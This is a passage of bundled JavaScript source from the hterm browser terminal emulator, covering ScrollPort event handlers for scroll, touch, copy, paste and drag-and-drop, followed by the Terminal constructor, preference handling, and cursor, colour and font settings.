var delta; switch (e.deltaMode) { case WheelEvent.DOM_DELTA_PIXEL: delta = e.deltaY * this.scrollWheelMultiplier_; break; case WheelEvent.DOM_DELTA_LINE: delta = e.deltaY * this.characterSize.height; break; case WheelEvent.DOM_DELTA_PAGE: delta = e.deltaY * this.characterSize.height * this.screen_.getHeight(); break; }// The sign is inverted from what we would expect.
return delta * -1;
};/**
* Clients can override this if they want to hear touch events.
*
* Clients may call event.preventDefault() if they want to keep the scrollport
* from also handling the events.
*/hterm.ScrollPort.prototype.onTouch = function (e) { };/**
* Handler for touch events.
*/hterm.ScrollPort.prototype.onTouch_ = function (e) {
this.onTouch(e); if (e.defaultPrevented) return;// Extract the fields from the Touch event that we need.  If we saved the
// event directly, it has references to other objects (like x-row) that
// might stick around for a long time.  This way we only have small objects
// in our lastTouch_ state.
var scrubTouch = function scrubTouch(t) { return { id: t.identifier, y: t.clientY, x: t.clientX }; }; var i, touch; switch (e.type) {
case 'touchstart':// Save the current set of touches.
for (i = 0; i < e.changedTouches.length; ++i) { touch = scrubTouch(e.changedTouches[i]); this.lastTouch_[touch.id] = touch; } break; case 'touchcancel': case 'touchend':// Throw away existing touches that we're finished with.
for (i = 0; i < e.changedTouches.length; ++i) { delete this.lastTouch_[e.changedTouches[i].identifier]; } break; case 'touchmove':// Walk all of the touches in this one event and merge all of their
// changes into one delta.  This lets multiple fingers scroll faster.
var delta = 0; for (i = 0; i < e.changedTouches.length; ++i) { touch = scrubTouch(e.changedTouches[i]); delta += this.lastTouch_[touch.id].y - touch.y; this.lastTouch_[touch.id] = touch; }// Invert to match the touchscreen scrolling direction of browser windows.
delta *= -1; var top = this.screen_.scrollTop - delta; if (top < 0) top = 0; var scrollMax = this.getScrollMax_(); if (top > scrollMax) top = scrollMax; if (top != this.screen_.scrollTop) {// Moving scrollTop causes a scroll event, which triggers the redraw.
this.screen_.scrollTop = top;
} break;
}// To disable gestures or anything else interfering with our scrolling.
e.preventDefault();
};/**
* Handler for resize events.
*
* The browser will resize us such that the top row stays at the top, but we
* prefer to the bottom row to stay at the bottom.
*/hterm.ScrollPort.prototype.onResize_ = function (e) {// Re-measure, since onResize also happens for browser zoom changes.
this.syncCharacterSize();
};/**
* Clients can override this if they want to hear copy events.
*
* Clients may call event.preventDefault() if they want to keep the scrollport
* from also handling the events.
*/hterm.ScrollPort.prototype.onCopy = function (e) { };/**
* Handler for copy-to-clipboard events.
*
* If some or all of the selected rows are off screen we may need to fill in
* the rows between selection start and selection end.  This handler determines
* if we're missing some of the selected text, and if so populates one or both
* of the "select bags" with the missing text.
*/hterm.ScrollPort.prototype.onCopy_ = function (e) {
this.onCopy(e); if (e.defaultPrevented) return; this.resetSelectBags_(); this.selection.sync(); if (this.selection.isCollapsed || this.selection.endRow.rowIndex - this.selection.startRow.rowIndex < 2) { return; } var topRowIndex = this.getTopRowIndex(); var bottomRowIndex = this.getBottomRowIndex(topRowIndex); if (this.selection.startRow.rowIndex < topRowIndex) {// Start of selection is above the top fold.
var endBackfillIndex; if (this.selection.endRow.rowIndex < topRowIndex) {// Entire selection is above the top fold.
endBackfillIndex = this.selection.endRow.rowIndex;
} else {// Selection extends below the top fold.
endBackfillIndex = this.topFold_.nextSibling.rowIndex;
} this.topSelectBag_.textContent = this.rowProvider_.getRowsText(this.selection.startRow.rowIndex + 1, endBackfillIndex); this.rowNodes_.insertBefore(this.topSelectBag_, this.selection.startRow.nextSibling); this.syncRowNodesDimensions_();
} if (this.selection.endRow.rowIndex > bottomRowIndex) {// Selection ends below the bottom fold.
var startBackfillIndex; if (this.selection.startRow.rowIndex > bottomRowIndex) {// Entire selection is below the bottom fold.
startBackfillIndex = this.selection.startRow.rowIndex + 1;
} else {// Selection starts above the bottom fold.
startBackfillIndex = this.bottomFold_.previousSibling.rowIndex + 1;
} this.bottomSelectBag_.textContent = this.rowProvider_.getRowsText(startBackfillIndex, this.selection.endRow.rowIndex); this.rowNodes_.insertBefore(this.bottomSelectBag_, this.selection.endRow);
}
};/**
* Focuses on the paste target on a ctrl-v keydown event, as in
* FF a content editable element must be focused before the paste event.
*/
hterm.ScrollPort.prototype.onBodyKeyDown_ = function (e) { if (!this.ctrlVPaste) return; var key = String.fromCharCode(e.which); var lowerKey = key.toLowerCase(); if ((e.ctrlKey || e.metaKey) && lowerKey == "v") this.pasteTarget_.focus(); };
hterm.ScrollPort.prototype.onControlSelect_ = function(e) { e.preventDefault(); };
/**
* Handle a paste event on the the ScrollPort's screen element.
*
* TODO: Handle ClipboardData.files transfers.  https://crbug.com/433581.
*/hterm.ScrollPort.prototype.onPaste_ = function (e) { this.pasteTarget_.focus(); var self = this; setTimeout(function () { self.publish('paste', { text: self.pasteTarget_.value }); self.pasteTarget_.value = ''; self.screen_.focus(); }, 0); };/**
* Handles a textInput event on the paste target. Stops this from
* propagating as we want this to be handled in the onPaste_ method.
*/hterm.ScrollPort.prototype.handlePasteTargetTextInput_ = function (e) { e.stopPropagation(); };/**
* Handle a drop event on the the ScrollPort's screen element.
*
* By default we try to copy in the structured format (HTML/whatever).
* The shift key can select plain text though.
*
* TODO: Handle DataTransfer.files transfers.  https://crbug.com/433581.
*
* @param {DragEvent} e The drag event that fired us.
*/hterm.ScrollPort.prototype.onDragAndDrop_ = function (e) {
e.preventDefault(); var data = void 0; var format = void 0;// If the shift key active, try to find a "rich" text source (but not plain
// text).  e.g. text/html is OK.
if (e.shiftKey) {
e.dataTransfer.types.forEach(function (t) { if (!format && t != 'text/plain' && t.startsWith('text/')) format = t; });// If we found a non-plain text source, try it out first.
if (format) data = e.dataTransfer.getData(format);
}// If we haven't loaded anything useful, fall back to plain text.
if (!data) data = e.dataTransfer.getData('text/plain'); if (data) this.publish('paste', { text: data });
};/**
* Set the vertical scrollbar mode of the ScrollPort.
*/hterm.ScrollPort.prototype.setScrollbarVisible = function (state) { this.screen_.style.overflowY = state ? 'scroll' : 'hidden'; };/**
* Set scroll wheel multiplier. This alters how much the screen scrolls on
* mouse wheel events.
*/hterm.ScrollPort.prototype.setScrollWheelMoveMultipler = function (multiplier) { this.scrollWheelMultiplier_ = multiplier; };// SOURCE FILE: hterm/js/hterm_terminal.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('lib.colors', 'lib.PreferenceManager', 'lib.resource', 'lib.wc', 'lib.f', 'hterm.AccessibilityReader', 'hterm.Keyboard', 'hterm.Options', 'hterm.PreferenceManager', 'hterm.Screen', 'hterm.ScrollPort', 'hterm.Size', 'hterm.TextAttributes', 'hterm.VT');/**
* Constructor for the Terminal class.
*
* A Terminal pulls together the hterm.ScrollPort, hterm.Screen and hterm.VT100
* classes to provide the complete terminal functionality.
*
* There are a number of lower-level Terminal methods that can be called
* directly to manipulate the cursor, text, scroll region, and other terminal
* attributes.  However, the primary method is interpret(), which parses VT
* escape sequences and invokes the appropriate Terminal methods.
*
* This class was heavily influenced by Cory Maccarrone's Framebuffer class.
*
* TODO(rginda): Eventually we're going to need to support characters which are
* displayed twice as wide as standard latin characters.  This is to support
* CJK (and possibly other character sets).
*
* @param {string} opt_profileId Optional preference profile name.  If not
*     provided, defaults to 'default'.
*/hterm.Terminal = function (opt_profileId) {
this.profileId_ = null;// Two screen instances.
this.primaryScreen_ = new hterm.Screen(); this.alternateScreen_ = new hterm.Screen();// The "current" screen.
this.screen_ = this.primaryScreen_;// The local notion of the screen size.  ScreenBuffers also have a size which
// indicates their present size.  During size changes, the two may disagree.
// Also, the inactive screen's size is not altered until it is made the active
// screen.
this.screenSize = new hterm.Size(0, 0);// The scroll port we'll be using to display the visible rows.
this.scrollPort_ = new hterm.ScrollPort(this); this.scrollPort_.subscribe('resize', this.onResize_.bind(this)); this.scrollPort_.subscribe('scroll', this.onScroll_.bind(this)); this.scrollPort_.subscribe('paste', this.onPaste_.bind(this)); this.scrollPort_.onCopy = this.onCopy_.bind(this);// The div that contains this terminal.
this.div_ = null;// The document that contains the scrollPort.  Defaulted to the global
// document here so that the terminal is functional even if it hasn't been
// inserted into a document yet, but re-set in decorate().
this.document_ = window.document;// The rows that have scrolled off screen and are no longer addressable.
this.scrollbackRows_ = [];// Saved tab stops.
this.tabStops_ = [];// Keep track of whether default tab stops have been erased; after a TBC
// clears all tab stops, defaults aren't restored on resize until a reset.
this.defaultTabStops = true;// The VT's notion of the top and bottom rows.  Used during some VT
// cursor positioning and scrolling commands.
this.vtScrollTop_ = null; this.vtScrollBottom_ = null;// The DIV element for the visible cursor.
this.cursorNode_ = null;// The current cursor shape of the terminal.
this.cursorShape_ = hterm.Terminal.cursorShape.BLOCK;// The current color of the cursor.
this.cursorColor_ = null;// Cursor blink on/off cycle in ms, overwritten by prefs once they're loaded.
this.cursorBlinkCycle_ = [100, 100];// Pre-bound onCursorBlink_ handler, so we don't have to do this for each
// cursor on/off servicing.
this.myOnCursorBlink_ = this.onCursorBlink_.bind(this);// These prefs are cached so we don't have to read from local storage with
// each output and keystroke.  They are initialized by the preference manager.
this.backgroundColor_ = null; this.foregroundColor_ = null; this.scrollOnOutput_ = null; this.scrollOnKeystroke_ = null; this.scrollWheelArrowKeys_ = null;// True if we should override mouse event reporting to allow local selection.
this.defeatMouseReports_ = false;// Whether to auto hide the mouse cursor when typing.
this.setAutomaticMouseHiding();// Timer to keep mouse visible while it's being used.
this.mouseHideDelay_ = null;// Terminal bell sound.
this.bellAudio_ = this.document_.createElement('audio'); this.bellAudio_.id = 'hterm:bell-audio'; this.bellAudio_.setAttribute('preload', 'auto');// The AccessibilityReader object for announcing command output.
this.accessibilityReader_ = null;// All terminal bell notifications that have been generated (not necessarily
// shown).
this.bellNotificationList_ = [];// Whether we have permission to display notifications.
this.desktopNotificationBell_ = false;// Cursor position and attributes saved with DECSC.
this.savedOptions_ = {};// The current mode bits for the terminal.
this.options_ = new hterm.Options();// Timeouts we might need to clear.
this.timeouts_ = {};// The VT escape sequence interpreter.
this.vt = new hterm.VT(this); this.saveCursorAndState(true);// The keyboard handler.
this.keyboard = new hterm.Keyboard(this);// General IO interface that can be given to third parties without exposing
// the entire terminal object.
this.io = new hterm.Terminal.IO(this);// True if mouse-click-drag should scroll the terminal.
this.enableMouseDragScroll = true; this.copyOnSelect = null; this.mouseRightClickPaste = null; this.mousePasteButton = null;// Whether to use the default window copy behavior.
this.useDefaultWindowCopy = false; this.clearSelectionAfterCopy = true; this.realizeSize_(80, 24); this.setDefaultTabStops();// Whether we allow images to be shown.
this.allowImagesInline = null; this.reportFocus = false; this.setProfile(opt_profileId || 'default', function () { this.onTerminalReady(); }.bind(this));
};/**
* Possible cursor shapes.
*/hterm.Terminal.cursorShape = { BLOCK: 'BLOCK', BEAM: 'BEAM', UNDERLINE: 'UNDERLINE' };/**
* Clients should override this to be notified when the terminal is ready
* for use.
*
* The terminal initialization is asynchronous, and shouldn't be used before
* this method is called.
*/hterm.Terminal.prototype.onTerminalReady = function () { };/**
* Default tab with of 8 to match xterm.
*/hterm.Terminal.prototype.tabWidth = 8;/**
* Select a preference profile.
*
* This will load the terminal preferences for the given profile name and
* associate subsequent preference changes with the new preference profile.
*
* @param {string} profileId The name of the preference profile.  Forward slash
*     characters will be removed from the name.
* @param {function} opt_callback Optional callback to invoke when the profile
*     transition is complete.
*/hterm.Terminal.prototype.setProfile = function (profileId, opt_callback) {
this.profileId_ = profileId.replace(/\//g, ''); var terminal = this; if (this.prefs_) this.prefs_.deactivate(); this.prefs_ = new hterm.PreferenceManager(this.profileId_); this.prefs_.addObservers(null, {
'alt-gr-mode': function altGrMode(v) { if (v == null) { if (navigator.language.toLowerCase() == 'en-us') { v = 'none'; } else { v = 'right-alt'; } } else if (typeof v == 'string') { v = v.toLowerCase(); } else { v = 'none'; } if (!/^(none|ctrl-alt|left-alt|right-alt)$/.test(v)) v = 'none'; terminal.keyboard.altGrMode = v; }, 'alt-backspace-is-meta-backspace': function altBackspaceIsMetaBackspace(v) { terminal.keyboard.altBackspaceIsMetaBackspace = v; }, 'alt-is-meta': function altIsMeta(v) { terminal.keyboard.altIsMeta = v; }, 'alt-sends-what': function altSendsWhat(v) { if (!/^(escape|8-bit|browser-key)$/.test(v)) v = 'escape'; terminal.keyboard.altSendsWhat = v; }, 'audible-bell-sound': function audibleBellSound(v) { var ary = v.match(/^lib-resource:(\S+)/); if (ary) { terminal.bellAudio_.setAttribute('src', lib.resource.getDataUrl(ary[1])); } else { terminal.bellAudio_.setAttribute('src', v); } }, 'desktop-notification-bell': function desktopNotificationBell(v) {
if (v && Notification) {
terminal.desktopNotificationBell_ = Notification.permission === 'granted'; if (!terminal.desktopNotificationBell_) {// Note: We don't call Notification.requestPermission here because
// Chrome requires the call be the result of a user action (such as an
// onclick handler), and pref listeners are run asynchronously.
//
// A way of working around this would be to display a dialog in the
// terminal with a "click-to-request-permission" button.
console.warn('desktop-notification-bell is true but we do not have ' + 'permission to display notifications.');
}
} else { terminal.desktopNotificationBell_ = false; }
}, 'background-color': function backgroundColor(v) { terminal.setBackgroundColor(v); }, 'background-image': function backgroundImage(v) { terminal.scrollPort_.setBackgroundImage(v); }, 'background-size': function backgroundSize(v) { terminal.scrollPort_.setBackgroundSize(v); }, 'background-position': function backgroundPosition(v) { terminal.scrollPort_.setBackgroundPosition(v); }, 'backspace-sends-backspace': function backspaceSendsBackspace(v) { terminal.keyboard.backspaceSendsBackspace = v; }, 'character-map-overrides': function characterMapOverrides(v) { if (!(v == null || v instanceof Object)) { console.warn('Preference character-map-modifications is not an ' + 'object: ' + v); return; } terminal.vt.characterMaps.reset(); terminal.vt.characterMaps.setOverrides(v); }, 'cursor-blink': function cursorBlink(v) { terminal.setCursorBlink(!!v); }, 'cursor-blink-cycle': function cursorBlinkCycle(v) {
if (v instanceof Array && typeof v[0] == 'number' && typeof v[1] == 'number') { terminal.cursorBlinkCycle_ = v; } else if (typeof v == 'number') { terminal.cursorBlinkCycle_ = [v, v]; } else {// Fast blink indicates an error.
terminal.cursorBlinkCycle_ = [100, 100];
}
}, 'cursor-color': function cursorColor(v) { terminal.setCursorColor(v); }, 'color-palette-overrides': function colorPaletteOverrides(v) { if (!(v == null || v instanceof Object || v instanceof Array)) { console.warn('Preference color-palette-overrides is not an array or ' + 'object: ' + v); return; } lib.colors.colorPalette = lib.colors.stockColorPalette.concat(); if (v) { for (var key in v) { var i = parseInt(key); if (isNaN(i) || i < 0 || i > 255) { console.log('Invalid value in palette: ' + key + ': ' + v[key]); continue; } if (v[i]) { var rgb = lib.colors.normalizeCSS(v[i]); if (rgb) lib.colors.colorPalette[i] = rgb; } } } terminal.primaryScreen_.textAttributes.resetColorPalette(); terminal.alternateScreen_.textAttributes.resetColorPalette(); }, 'copy-on-select': function copyOnSelect(v) { terminal.copyOnSelect = !!v; }, 'use-default-window-copy': function useDefaultWindowCopy(v) { terminal.useDefaultWindowCopy = !!v; }, 'clear-selection-after-copy': function clearSelectionAfterCopy(v) { terminal.clearSelectionAfterCopy = !!v; }, 'ctrl-plus-minus-zero-zoom': function ctrlPlusMinusZeroZoom(v) { terminal.keyboard.ctrlPlusMinusZeroZoom = v; }, 'ctrl-c-copy': function ctrlCCopy(v) { terminal.keyboard.ctrlCCopy = v; }, 'ctrl-v-paste': function ctrlVPaste(v) { terminal.keyboard.ctrlVPaste = v; terminal.scrollPort_.setCtrlVPaste(v); }, 'east-asian-ambiguous-as-two-column': function eastAsianAmbiguousAsTwoColumn(v) { lib.wc.regardCjkAmbiguous = v; }, 'enable-8-bit-control': function enable8BitControl(v) { terminal.vt.enable8BitControl = !!v; }, 'enable-bold': function enableBold(v) { terminal.syncBoldSafeState(); }, 'enable-bold-as-bright': function enableBoldAsBright(v) { terminal.primaryScreen_.textAttributes.enableBoldAsBright = !!v; terminal.alternateScreen_.textAttributes.enableBoldAsBright = !!v; }, 'enable-blink': function enableBlink(v) { terminal.setTextBlink(!!v); }, 'enable-clipboard-write': function enableClipboardWrite(v) { terminal.vt.enableClipboardWrite = !!v; }, 'enable-dec12': function enableDec12(v) { terminal.vt.enableDec12 = !!v; }, 'font-family': function fontFamily(v) { terminal.syncFontFamily(); }, 'font-size': function fontSize(v) { v = parseInt(v); if (v <= 0) { console.error('Invalid font size: ' + v); return; } terminal.setFontSize(v); }, 'font-smoothing': function fontSmoothing(v) { terminal.syncFontFamily(); }, 'foreground-color': function foregroundColor(v) { terminal.setForegroundColor(v); }, 'hide-mouse-while-typing': function hideMouseWhileTyping(v) { terminal.setAutomaticMouseHiding(v); }, 'home-keys-scroll': function homeKeysScroll(v) { terminal.keyboard.homeKeysScroll = v; }, 'keybindings': function keybindings(v) { terminal.keyboard.bindings.clear(); if (!v) return; if (!(v instanceof Object)) { console.error('Error in keybindings preference: Expected object'); return; } try { terminal.keyboard.bindings.addBindings(v); } catch (ex) { console.error('Error in keybindings preference: ' + ex); } }, 'media-keys-are-fkeys': function mediaKeysAreFkeys(v) { terminal.keyboard.mediaKeysAreFKeys = v; }, 'meta-sends-escape': function metaSendsEscape(v) { terminal.keyboard.metaSendsEscape = v; }, 'mouse-right-click-paste': function mouseRightClickPaste(v) { terminal.mouseRightClickPaste = v; }, 'mouse-paste-button': function mousePasteButton(v) { terminal.syncMousePasteButton(); }, 'page-keys-scroll': function pageKeysScroll(v) { terminal.keyboard.pageKeysScroll = v; }, 'pass-alt-number': function passAltNumber(v) {
if (v == null) {// Let Alt-1..9 pass to the browser (to control tab switching) on
// non-OS X systems, or if hterm is not opened in an app window.
v = hterm.os != 'mac' && hterm.windowType != 'popup';
} terminal.passAltNumber = v;
}, 'pass-ctrl-number': function passCtrlNumber(v) {
if (v == null) {// Let Ctrl-1..9 pass to the browser (to control tab switching) on
// non-OS X systems, or if hterm is not opened in an app window.
v = hterm.os != 'mac' && hterm.windowType != 'popup';
} terminal.passCtrlNumber = v;
}, 'pass-meta-number': function passMetaNumber(v) {
if (v == null) {// Let Meta-1..9 pass to the browser (to control tab switching) on
// OS X systems, or if hterm is not opened in an app window.
v = hterm.os == 'mac' && hterm.windowType != 'popup';
} terminal.passMetaNumber = v;
}, 'pass-meta-v': function passMetaV(v) { terminal.keyboard.passMetaV = v; }, 'receive-encoding': function receiveEncoding(v) { if (!/^(utf-8|raw)$/.test(v)) { console.warn('Invalid value for "receive-encoding": ' + v); v = 'utf-8'; } terminal.vt.characterEncoding = v; }, 'scroll-on-keystroke': function scrollOnKeystroke(v) { terminal.scrollOnKeystroke_ = v; }, 'scroll-on-output': function scrollOnOutput(v) { terminal.scrollOnOutput_ = v; }, 'scrollbar-visible': function scrollbarVisible(v) { terminal.setScrollbarVisible(v); }, 'scroll-wheel-may-send-arrow-keys': function scrollWheelMaySendArrowKeys(v) { terminal.scrollWheelArrowKeys_ = v; }, 'scroll-wheel-move-multiplier': function scrollWheelMoveMultiplier(v) { terminal.setScrollWheelMoveMultipler(v); }, 'send-encoding': function sendEncoding(v) { if (!/^(utf-8|raw)$/.test(v)) { console.warn('Invalid value for "send-encoding": ' + v); v = 'utf-8'; } terminal.keyboard.characterEncoding = v; }, 'shift-insert-paste': function shiftInsertPaste(v) { terminal.keyboard.shiftInsertPaste = v; }, 'terminal-encoding': function terminalEncoding(v) { terminal.vt.setEncoding(v); }, 'user-css': function userCss(v) { terminal.scrollPort_.setUserCssUrl(v); }, 'user-css-text': function userCssText(v) { terminal.scrollPort_.setUserCssText(v); }, 'word-break-match-left': function wordBreakMatchLeft(v) { terminal.primaryScreen_.wordBreakMatchLeft = v; terminal.alternateScreen_.wordBreakMatchLeft = v; }, 'word-break-match-right': function wordBreakMatchRight(v) { terminal.primaryScreen_.wordBreakMatchRight = v; terminal.alternateScreen_.wordBreakMatchRight = v; }, 'word-break-match-middle': function wordBreakMatchMiddle(v) { terminal.primaryScreen_.wordBreakMatchMiddle = v; terminal.alternateScreen_.wordBreakMatchMiddle = v; }, 'allow-images-inline': function allowImagesInline(v) { terminal.allowImagesInline = v; }
}); this.prefs_.readStorage(function () { this.prefs_.notifyAll(); if (opt_callback) opt_callback(); }.bind(this));
};/**
* Returns the preferences manager used for configuring this terminal.
*
* @return {hterm.PreferenceManager}
*/hterm.Terminal.prototype.getPrefs = function () { return this.prefs_; };/**
* Enable or disable bracketed paste mode.
*
* @param {boolean} state The value to set.
*/hterm.Terminal.prototype.setBracketedPaste = function (state) { this.options_.bracketedPaste = state; };/**
* Set the color for the cursor.
*
* If you want this setting to persist, set it through prefs_, rather than
* with this method.
*
* @param {string=} color The color to set.  If not defined, we reset to the
*     saved user preference.
*/hterm.Terminal.prototype.setCursorColor = function (color) { if (color === undefined) color = this.prefs_.get('cursor-color'); this.cursorColor_ = color; this.cursorNode_.style.backgroundColor = color; this.cursorNode_.style.borderColor = color; };/**
* Return the current cursor color as a string.
* @return {string}
*/hterm.Terminal.prototype.getCursorColor = function () { return this.cursorColor_; };/**
* Enable or disable mouse based text selection in the terminal.
*
* @param {boolean} state The value to set.
*/hterm.Terminal.prototype.setSelectionEnabled = function (state) { this.enableMouseDragScroll = state; };/**
* Set the background color.
*
* If you want this setting to persist, set it through prefs_, rather than
* with this method.
*
* @param {string=} color The color to set.  If not defined, we reset to the
*     saved user preference.
*/hterm.Terminal.prototype.setBackgroundColor = function (color) { if (color === undefined) color = this.prefs_.get('background-color'); this.backgroundColor_ = lib.colors.normalizeCSS(color); this.primaryScreen_.textAttributes.setDefaults(this.foregroundColor_, this.backgroundColor_); this.alternateScreen_.textAttributes.setDefaults(this.foregroundColor_, this.backgroundColor_); this.scrollPort_.setBackgroundColor(color); };/**
* Return the current terminal background color.
*
* Intended for use by other classes, so we don't have to expose the entire
* prefs_ object.
*
* @return {string}
*/hterm.Terminal.prototype.getBackgroundColor = function () { return this.backgroundColor_; };/**
* Set the foreground color.
*
* If you want this setting to persist, set it through prefs_, rather than
* with this method.
*
* @param {string=} color The color to set.  If not defined, we reset to the
*     saved user preference.
*/hterm.Terminal.prototype.setForegroundColor = function (color) { if (color === undefined) color = this.prefs_.get('foreground-color'); this.foregroundColor_ = lib.colors.normalizeCSS(color); this.primaryScreen_.textAttributes.setDefaults(this.foregroundColor_, this.backgroundColor_); this.alternateScreen_.textAttributes.setDefaults(this.foregroundColor_, this.backgroundColor_); this.scrollPort_.setForegroundColor(color); };/**
* Return the current terminal foreground color.
*
* Intended for use by other classes, so we don't have to expose the entire
* prefs_ object.
*
* @return {string}
*/hterm.Terminal.prototype.getForegroundColor = function () { return this.foregroundColor_; };/**
* Create a new instance of a terminal command and run it with a given
* argument string.
*
* @param {function} commandClass The constructor for a terminal command.
* @param {string} argString The argument string to pass to the command.
*/hterm.Terminal.prototype.runCommandClass = function (commandClass, argString) { var environment = this.prefs_.get('environment'); if ((typeof environment === 'undefined' ? 'undefined' : _typeof(environment)) != 'object' || environment == null) environment = {}; var self = this; this.command = new commandClass({ argString: argString || '', io: this.io.push(), environment: environment, onExit: function onExit(code) { self.io.pop(); self.uninstallKeyboard(); if (self.prefs_.get('close-on-exit')) window.close(); } }); this.installKeyboard(); this.command.run(); };/**
* Returns true if the current screen is the primary screen, false otherwise.
*
* @return {boolean}
*/hterm.Terminal.prototype.isPrimaryScreen = function () { return this.screen_ == this.primaryScreen_; };/**
* Install the keyboard handler for this terminal.
*
* This will prevent the browser from seeing any keystrokes sent to the
* terminal.
*/hterm.Terminal.prototype.installKeyboard = function () { this.keyboard.installKeyboard(this.scrollPort_.getDocument().body); };/**
* Uninstall the keyboard handler for this terminal.
*/hterm.Terminal.prototype.uninstallKeyboard = function () { this.keyboard.installKeyboard(null); };/**
* Set a CSS variable.
*
* Normally this is used to set variables in the hterm namespace.
*
* @param {string} name The variable to set.
* @param {string} value The value to assign to the variable.
* @param {string?} opt_prefix The variable namespace/prefix to use.
*/hterm.Terminal.prototype.setCssVar = function (name, value) { var opt_prefix = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : '--hterm-'; this.document_.documentElement.style.setProperty('' + opt_prefix + name, value); };/**
* Get a CSS variable.
*
* Normally this is used to get variables in the hterm namespace.
*
* @param {string} name The variable to read.
* @param {string?} opt_prefix The variable namespace/prefix to use.
* @return {string} The current setting for this variable.
*/hterm.Terminal.prototype.getCssVar = function (name) { var opt_prefix = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '--hterm-'; return this.document_.documentElement.style.getPropertyValue('' + opt_prefix + name); };/**
* Set the font size for this terminal.
*
* Call setFontSize(0) to reset to the default font size.
*
* This function does not modify the font-size preference.
*
* @param {number} px The desired font size, in pixels.
*/hterm.Terminal.prototype.setFontSize = function (px) { if (px <= 0) px = this.prefs_.get('font-size'); this.scrollPort_.setFontSize(px); this.setCssVar('charsize-width', this.scrollPort_.characterSize.width + 'px'); this.setCssVar('charsize-height', this.scrollPort_.characterSize.height + 'px'); };/**
* Get the current font size.
*
* @return {number}
*/hterm.Terminal.prototype.getFontSize = function () { return this.scrollPort_.getFontSize(); };/**
* Get the current font family.
*
* @return {string}
*/hterm.Terminal.prototype.getFontFamily = function () { return this.scrollPort_.getFontFamily(); };/**
* Set the CSS "font-family" for this terminal.
*/hterm.Terminal.prototype.syncFontFamily = function () { this.scrollPort_.setFontFamily(this.prefs_.get('font-family'), this.prefs_.get('font-smoothing')); this.syncBoldSafeState(); };/**
* Set this.mousePasteButton based on the mouse-paste-button pref,
* autodetecting if necessary.
*/hterm.Terminal.prototype.syncMousePasteButton = function () {
var button = this.prefs_.get('mouse-paste-button'); if (typeof button == 'number') { this.mousePasteButton = button; return; } if (hterm.os != 'linux') {
this.mousePasteButton = 1;// Middle mouse button.
} else {
this.mousePasteButton = 2;// Right mouse button.
}
};/**
* Enable or disable bold based on the enable-bold pref, autodetecting if
* necessary.
*/hterm.Terminal.prototype.syncBoldSafeState = function () { var enableBold = this.prefs_.get('enable-bold'); if (enableBold !== null) { this.primaryScreen_.textAttributes.enableBold = enableBold; this.alternateScreen_.textAttributes.enableBold = enableBold; return; } var normalSize = this.scrollPort_.measureCharacterSize(); var boldSize = this.scrollPort_.measureCharacterSize('bold'); var isBoldSafe = normalSize.equals(boldSize); if (!isBoldSafe) { console.warn('Bold characters disabled: Size of bold weight differs ' + 'from normal.  Font family is: ' + this.scrollPort_.getFontFamily()); } this.primaryScreen_.textAttributes.enableBold = isBoldSafe; this.alternateScreen_.textAttributes.enableBold = isBoldSafe; };/**
* Control text blinking behavior.
*
* @param {boolean=} state Whether to enable support for blinking text.
*/hterm.Terminal.prototype.setTextBlink = function (state) { if (state === undefined) state = this.prefs_.get('enable-blink'); this.setCssVar('blink-node-duration', state ? '0.7s' : '0'); };/**
* Set the mouse cursor style based on the current terminal mode.
*/hterm.Terminal.prototype.syncMouseStyle = function () { this.setCssVar('mouse-cursor-style', this.vt.mouseReport == this.vt.MOUSE_REPORT_DISABLED ? 'var(--hterm-mouse-cursor-text)' : 'var(--hterm-mouse-cursor-pointer)'); };/**
* Return a copy of the current cursor position.
*
* @return {hterm.RowCol} The RowCol object representing the current position.
*/hterm.Terminal.prototype.saveCursor = function () { return this.screen_.cursorPosition.clone(); };/**
* Return the current text attributes.
*
* @return {string}
*/hterm.Terminal.prototype.getTextAttributes = function () { return this.screen_.textAttributes; };/**
* Set the text attributes.
*
* @param {string} textAttributes The attributes to set.
*/hterm.Terminal.prototype.setTextAttributes = function (textAttributes) { this.screen_.textAttributes = textAttributes; };/**
* Return the current browser zoom factor applied to the terminal.
*
* @return {number} The current browser zoom factor.
*/hterm.Terminal.prototype.getZoomFactor = function () { return this.scrollPort_.characterSize.zoomFactor; };/**
* Change the title of this terminal's window.
*
* @param {string} title The title to set.
*/hterm.Terminal.prototype.setWindowTitle = function (title) { window.document.title = title; };/**
* Restore a previously saved cursor position.
*
* @param {hterm.RowCol} cursor The position to restore.
*/hterm.Terminal.prototype.restoreCursor = function (cursor) { var row = lib.f.clamp(cursor.row, 0, this.screenSize.height - 1); var column = lib.f.clamp(cursor.column, 0, this.screenSize.width - 1); this.screen_.setCursorPosition(row, column); if (cursor.column > column || cursor.column == column && cursor.overflow) { this.screen_.cursorPosition.overflow = true; } };/**
* Clear the cursor's overflow flag.
*/hterm.Terminal.prototype.clearCursorOverflow = function () { this.screen_.cursorPosition.overflow = false; };/**
* Save the current cursor state to the corresponding screens.
*
* See the hterm.Screen.CursorState class for more details.
*
* @param {boolean=} both If true, update both screens, else only update the
*     current screen.
*/hterm.Terminal.prototype.saveCursorAndState = function (both) { if (both) { this.primaryScreen_.saveCursorAndState(this.vt); this.alternateScreen_.saveCursorAndState(this.vt); } else this.screen_.saveCursorAndState(this.vt); };/**
* Restore the saved cursor state in the corresponding screens.
*
* See the hterm.Screen.CursorState class for more details.
*
* @param {boolean=} both If true, update both screens, else only update the
*     current screen.
*/hterm.Terminal.prototype.restoreCursorAndState = function (both) { if (both) { this.primaryScreen_.restoreCursorAndState(this.vt); this.alternateScreen_.restoreCursorAndState(this.vt); } else this.screen_.restoreCursorAndState(this.vt); };/**
* Sets the cursor shape
*
* @param {string} shape The shape to set.
*/hterm.Terminal.prototype.setCursorShape = function (shape) { this.cursorShape_ = shape; this.restyleCursor_(); };/**
* Get the cursor shape
*
* @return {string}
*/hterm.Terminal.prototype.getCursorShape = function () { return this.cursorShape_; };/**
* Set the width of the terminal, resizing the UI to match.
*
* @param {number} columnCount
*/hterm.Terminal.prototype.setWidth = function (columnCount) { if (columnCount == null) { this.div_.style.width = '100%'; return; } this.div_.style.width = Math.ceil(this.scrollPort_.characterSize.width * columnCount + this.scrollPort_.currentScrollbarWidthPx) + 'px'; this.realizeSize_(columnCount, this.screenSize.height); this.scheduleSyncCursorPosition_(); };/**
* Set the height of the terminal, resizing the UI to match.
*
* @param {number} rowCount The height in rows.
